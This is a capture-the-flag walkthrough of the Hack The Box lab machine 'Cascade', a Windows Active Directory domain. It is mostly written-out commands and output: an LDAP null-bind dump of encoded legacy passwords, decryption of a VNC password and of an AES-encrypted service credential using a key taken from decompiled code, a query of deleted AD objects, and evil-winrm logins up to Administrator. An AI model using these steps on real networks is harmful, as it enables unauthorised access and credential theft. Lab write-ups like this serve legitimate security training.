Summary:
- User enumeration through
msrpc
- using LDAP server NULL bind we recover a legacy password for r.thompson.
- Login to SMB as r.thompson and find a leftover VNC install from s.smith which we decrypt.
- Connect over SMB as s.smith to
audit$
. - Find a an executable and a database containing LDAP credentials.
- Disassemble the application to decrypt the password for
ArkSvc
in the database. - Connect over
wsman
asArkSvc
then perform a NULL base search to dump the deletedTempAdmin
account credentials. - Exploit password reuse to login as
Administrator
.
Introduction: Cascade had a heavy emphasis on enumeration, and LDAP which was unlike the other active Windows boxes at the time. Prior to this box, I had never touched LDAP before which made it a brilliant learning opportunity. Gaining user was straightforward but took a while since I attempted to exhaust all routes on other services. Rooting Cascade was trickier and involved a few more steps but these felt natural. Onto the box.
Setup:
Add the box IP to our /etc/hosts
file.
$ printf "10.10.10.182\tcascade.htb\n" >> /etc/hosts
Enumeration #1:
Perform detailed portscan on the lower ports of cascade.htb
using nmap
to gather information on any exposed services. Then, perform a less resolute portscan to identify any open higher ports.
$ sudo nmap -sC -sV -Pn cascade.htb -oA nmap/initial; sleep 300 && \
sudo nmap -p- -sS -Pn cascade.htb -oA nmap/all-ports
$ cat nmap/initial.nmap
Nmap scan report for cascade.htb (10.10.10.182)
Host is up (0.035s latency).
Not shown: 986 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid:
|_ bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp open tcpwrapped
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49165/tcp open msrpc Microsoft Windows RPC
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 13m09s
| smb2-security-mode:
| 2.02:
|_ Message signing enabled and required
| smb2-time:
| date: 2020-04-09T15:33:21
|_ start_date: 2020-04-09T12:57:01
If we look at port 389
and 3268
we see nmap
gathered the domain of this box cascade.local
- we add this to our hosts file entry as cascade.htb
. At this point I spent a while enumerating all the services except LDAP - which I left last.
With a FQDN for AD we can attempt a null bind LDAP query.
$ ldapsearch -x -b "dc=cascade,dc=local" -H ldap://cascade.local
[snip]
# Ryan Thompson, Users, UK, cascade.local
dn: CN=Ryan Thompson,OU=Users,OU=UK,DC=cascade,DC=local
...
sAMAccountName: r.thompson
sAMAccountType: 805306368
userPrincipalName: r.thompson@cascade.local
...
cascadeLegacyPwd: clk0bjVldmE=
[snip]
If we look at the last field, we see it is a base64 encoded legacy password for r.thompson.
$ echo "clk0bjVldmE=" | base64 -d
rY4n5eva
As an additional note, the query returns information on all users but it is also possible to query msrpc
with rpcclient
to dump user account information.
Enumeration #2: We can use r.thompson’s credentials to finally enumerate SMB since Guest authentication is disabled.
$ python smbmap.py -H cascade.local -u r.thompson -p rY4n5eva
[snip]
.
dr--r--r-- 0 Tue Jan 28 22:05:51 2020 .
dr--r--r-- 0 Tue Jan 28 22:05:51 2020 ..
dr--r--r-- 0 Mon Jan 13 01:45:14 2020 Contractors
dr--r--r-- 0 Mon Jan 13 01:45:10 2020 Finance
dr--r--r-- 0 Tue Jan 28 18:04:51 2020 IT
dr--r--r-- 0 Mon Jan 13 01:45:20 2020 Production
dr--r--r-- 0 Mon Jan 13 01:45:16 2020 Temps
Data READ ONLY
[snip]
Next, we logon to SMB and inspect IT
.
$ smbclient //cascade.local/Data -U r.thompson
directory_create_or_exist: mkdir failed on directory /var/cache/samba/msg.lock: Permission denied
Unable to initialize messaging context
Enter WORKGROUP\r.thompson's password:
Try "help" to get a list of possible commands.
smb: \> cd IT
smb: \IT\> recurse on
smb: \IT\> prompt off
smb: \IT\> dir
. D 0 Tue Jan 28 18:04:51 2020
.. D 0 Tue Jan 28 18:04:51 2020
Email Archives D 0 Tue Jan 28 18:00:30 2020
LogonAudit D 0 Tue Jan 28 18:04:40 2020
Logs D 0 Wed Jan 29 00:53:04 2020
Temp D 0 Tue Jan 28 22:06:59 2020
...
\IT\Email Archives
. D 0 Tue Jan 28 18:00:30 2020
.. D 0 Tue Jan 28 18:00:30 2020
Meeting_Notes_June_2018.html A 2522 Tue Jan 28 18:00:12 2020
...
\IT\Temp\s.smith
. D 0 Tue Jan 28 20:00:01 2020
.. D 0 Tue Jan 28 20:00:01 2020
VNC Install.reg A 2680 Tue Jan 28 19:27:44 2020
13106687 blocks of size 4096. 7786636 blocks available
Inspect all the files available to us on SMB. Eventually, we find \IT\Email Archives\Meeting_Notes_June_2018.html
which can be opened in a browser.
From this we obtain two important pieces of information:
- TempAdmin had (and possibly still has) the same credentials as the Administrator account.
- s.smith is the head of IT and may have elevated permissions to other IT users.
User:
We also find a VNC Install.reg
from \IT\Temp\s.smith
, if we inspect it we see find an encrypted password.
$ cat 'VNC Install.reg'
[snip]
"UseMirrorDriver"=dword:00000001
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
"NeverShared"=dword:00000000
[snip]
This can be decrypted using an online tool to get sT333ve2
. Finally, s.smith is able to remotely access cascade.local
which we do over wsman
using evil-winrm.
$ evil-winrm -P 5985 -u s.smith -p "sT333ve2" -i 10.10.10.182
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\s.smith\Documents> dir ../Desktop/user.txt
Directory: C:\Users\s.smith\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 4/20/2020 2:20 PM 34 user.txt
Enumeration #3: We need to Return to SMB as s.smith. When enumerate SMB we see we have access to a drive r.thompson didn’t.
$ python smbmap.py -H cascade.local -u s.smith -p sT333ve2
[snip]
.
dr--r--r-- 0 Wed Jan 29 18:01:26 2020 .
dr--r--r-- 0 Wed Jan 29 18:01:26 2020 ..
fr--r--r-- 13312 Tue Jan 28 21:47:08 2020 CascAudit.exe
fr--r--r-- 12288 Wed Jan 29 18:01:26 2020 CascCrypto.dll
dr--r--r-- 0 Tue Jan 28 21:43:18 2020 DB
fr--r--r-- 45 Tue Jan 28 23:29:47 2020 RunAudit.bat
fr--r--r-- 363520 Tue Jan 28 20:42:18 2020 System.Data.SQLite.dll
fr--r--r-- 186880 Tue Jan 28 20:42:18 2020 System.Data.SQLite.EF6.dll
dr--r--r-- 0 Tue Jan 28 20:42:18 2020 x64
dr--r--r-- 0 Tue Jan 28 20:42:18 2020 x86
Audit$ READ ONLY
[snip]
Lateral Movement: We download the contents of this drive and inspect it locally. We happen across a database file.
$ file DB/Audit.db
DB/Audit.db: SQLite 3.x database, last written using SQLite version 3027002
With the knowledge that it is an sqlite3 database, we can inspect the tables.
$ sqlite3
SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
Connected to a transient in-memory database.
Use ".open FILENAME" to reopen on a persistent database.
sqlite> .open DB/Audit.db
sqlite> .tables
DeletedUserAudit Ldap Misc
sqlite> .schema Ldap
CREATE TABLE IF NOT EXISTS "Ldap" (
"Id" INTEGER PRIMARY KEY AUTOINCREMENT,
"uname" TEXT,
"pwd" TEXT,
"domain" TEXT
);
sqlite> select * from Ldap;
1|ArkSvc|BQO5l5Kj9MdErXx6Q6AGOw==|cascade.local
We appear to have credentials for ArkSvc but they’re encrypted. I focused my attention to disassembling CascAudit.exe
using ILSpy since it likely decrypts these credentials.
/* [snip] */
SQLiteCommand val2 = (SQLiteCommand)(object)new SQLiteCommand("SELECT * FROM LDAP", val);
try
{
SQLiteDataReader val3 = val2.ExecuteReader();
try
{
val3.Read();
str = Conversions.ToString(val3.get_Item("Uname"));
str2 = Conversions.ToString(val3.get_Item("Domain"));
string encryptedString = Conversions.ToString(val3.get_Item("Pwd"));
try
{
password = Crypto.DecryptString(encryptedString, "c4scadek3y654321");
}
/* [snip] */
My suspicions were correct, this application does decrypt the credentials. However, I didn’t have a Windows machine available for this box so I opted to compile the decompiled crypto DLL with the key given in the main application.
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
class MainClass {
public static void Main (string[] args) {
Console.WriteLine(DecryptString("BQO5l5Kj9MdErXx6Q6AGOw==", "c4scadek3y654321"));
}
public static string DecryptString(string EncryptedString, string Key) {
byte[] array = Convert.FromBase64String(EncryptedString);
Aes aes = Aes.Create();
aes.KeySize = 128;
aes.BlockSize = 128;
aes.IV = Encoding.UTF8.GetBytes("1tdyjCbY1Ix49842");
aes.Mode = CipherMode.CBC;
aes.Key = Encoding.UTF8.GetBytes(Key);
using (MemoryStream stream = new MemoryStream(array))
{
using (CryptoStream cryptoStream = new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Read))
{
byte[] array2 = new byte[checked(array.Length - 1 + 1)];
cryptoStream.Read(array2, 0, array2.Length);
return Encoding.UTF8.GetString(array2);
}
}
}
}
Running this gave us the decrypted password for ArkSvc.
$ mcs -out:main.exe main.cs
$ mono main.exe
w3lc0meFr31nd
Privilege Escalation:
ArkSvc can access cascade.local
using evil-winrm
. Additionally, ArkSvc is able to access the AD Recycle Bin
which may contain information about the TempAdmin account - which we can query to recover information.
*Evil-WinRM* PS C:\Users\arksvc\Documents> Get-ADObject -filter 'isdeleted \
-eq $true -and name -ne "Deleted Objects"' -includeDeletedObjects -property *
[snip]
CanonicalName : cascade.local/Deleted Objects/TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
cascadeLegacyPwd : YmFDVDNyMWFOMDBkbGVz
CN : TempAdmin
DEL:f0cc344d-31e0-4866-bceb-a842791ca059
[snip]
Decoding cascadeLegacyPwd
gives us.
$ echo "YmFDVDNyMWFOMDBkbGVz" | base64 -d
baCT3r1aN00dles
We can now logon to the box using evil-winrm
once more, to grab the root flag.
$ evil-winrm -P 5985 -u Administrator -p "baCT3r1aN00dles" -i 10.10.10.182
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> dir ../Desktop/root.txt
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 4/20/2020 2:20 PM 34 root.txt